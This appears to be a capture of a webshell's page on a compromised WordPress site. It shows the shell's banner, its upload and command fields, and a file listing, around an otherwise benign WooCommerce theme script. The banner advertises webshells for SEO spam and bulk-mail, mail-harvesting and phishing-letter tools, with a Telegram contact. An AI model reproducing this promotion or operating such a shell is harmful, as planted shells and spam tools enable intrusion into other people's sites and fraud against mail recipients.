__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { createElement, createRoot } from '@wordpress/element'
import ManageAttributeOption from './ManageAttributeOption'

export const collectAttributes = () => {
	return [...document.querySelectorAll('[name*=attribute_values]')]
		.filter((el) => {
			return el
				.closest('.woocommerce_attribute_data')
				.querySelector(
					'input.woocommerce_attribute_used_for_variations'
				).checked
		})
		.map((el) => {
			const values = []

			const attributeNameField = el
				.closest('tr')
				.querySelector('.attribute_name')
			let attributeName = ''
			let customAttr = false

			if (el.tagName === 'SELECT') {
				;[...el.querySelectorAll('option')].map((option) => {
					values.push({
						value: option.value,
						label: option.textContent,
						selected: option.selected,
					})
				})

				attributeName =
					attributeNameField.querySelector('strong').textContent
			}

			if (el.tagName === 'TEXTAREA') {
				el.value
					.split('|')
					.map((value) => value.trim())
					.map((value) => {
						values.push({
							value,
							label: value,
							selected: true,
						})
					})
				customAttr = true
				attributeName = attributeNameField.querySelector('input').value
			}

			return {
				name: attributeName,
				taxonomy:
					el.closest('[data-taxonomy]').dataset.taxonomy ||
					attributeName,
				values,
				customAttr,
			}
		})
}

const initWooVariation = (variationWrapper) => {
	if (!variationWrapper) {
		return
	}

	const input = document.querySelector('#ct-woo-attributes-list')
	const options = JSON.parse(input.dataset.options)

	const initialValue = input.value ? JSON.parse(input.value) : {}

	variationWrapper.closest('.options_group').innerHtml = ''

	const root = createRoot(variationWrapper.closest('.options_group'))
	root.render(
		<ManageAttributeOption
			options={options}
			initialValue={initialValue}
			input_id={input.id}
			input_name={input.name}
		/>
	)
}

export const initAllWooAttributesOptions = () => {
	initWooVariation(document.querySelector('#ct-woo-attributes-list'))
}

Filemanager

Name Type Size Permission Actions
AfterHeading.js File 1.45 KB 0640
ManageAttributeOption.js File 4.84 KB 0640
index.js File 2 KB 0640
Filemanager